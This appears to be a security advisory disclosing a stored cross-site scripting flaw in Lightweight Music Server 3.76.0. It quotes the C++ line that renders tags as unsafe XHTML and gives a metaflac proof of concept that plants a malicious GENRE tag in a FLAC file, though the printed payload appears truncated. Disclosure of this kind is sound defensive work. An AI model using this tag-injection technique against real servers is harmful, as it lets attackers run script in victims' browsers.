Lightweight Music Server (LMS) 3.76.0 (metadata) Stored XSS

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Lightweight Music Server (LMS) 3.76.0 (metadata) Stored XSS


Vendor: Emeric Poupon
Product web page: https://github.com/epoupon/lms
Affected version 3.76.0

Summary: LMS (Lightweight Music Server): A specific C++ based
project focused on a low memory footprint, featuring built-in
user management and a recommendation engine.

Desc: LMS stores media file metadata tags (such as GENRE, ARTIST,
and ALBUM) exactly as written in the file and later renders them
in its web interface without HTML-encoding, resulting in stored
cross-site scripting. An attacker who gets a file with a malicious
tag into the victim's library has their payload saved during the
next library scan and executed automatically whenever a user views
that track's information or plays the file in the web UI.

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/src/lms/ui/Utils.cpp
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131: std::unique_ptr<Wt::WInteractWidget> createFilter(const Wt::WString& name, const Wt::WString& tooltip, std::string_view colorStyleClass, bool canDelete)
132: {
133:   auto res{ std::make_unique<Wt::WText>(Wt::WString{ canDelete ? "<i class=\"fa fa-times-circle\"></i> " : "" } + name, Wt::TextFormat::UnsafeXHTML) };
134:   res->setStyleClass("Lms-badge-cluster badge me-1 " + std::string{ colorStyleClass });
135:   res->setInline(true);
136:   return res;
137: }
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Tested on: GNU/Linux (ARM64)
           nginx


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-5987
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5987


27.05.2026

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$ metaflac --set-tag=GENRE="alertche" evil.flac
$ metaflac --list evil.flac
METADATA block #0
  type: 0 (STREAMINFO)
  is last: false
  length: 34
  minimum blocksize: 4608 samples
  maximum blocksize: 4608 samples
  minimum framesize: 2305 bytes
  maximum framesize: 14124 bytes
  sample_rate: 44100 Hz
  channels: 2
  bits-per-sample: 16
  total samples: 4664587
  MD5 signature: 2aeee69c0153cb652c718dfdf0e9ff2d
METADATA block #1
  type: 4 (VORBIS_COMMENT)
  is last: false
  length: 98
  vendor string: Lavf57.83.100
  comments: 2
    comment[0]: encoder=Lavf57.83.100
    comment[1]: GENRE=alertche
METADATA block #2
  type: 1 (PADDING)
  is last: true
  length: 8140

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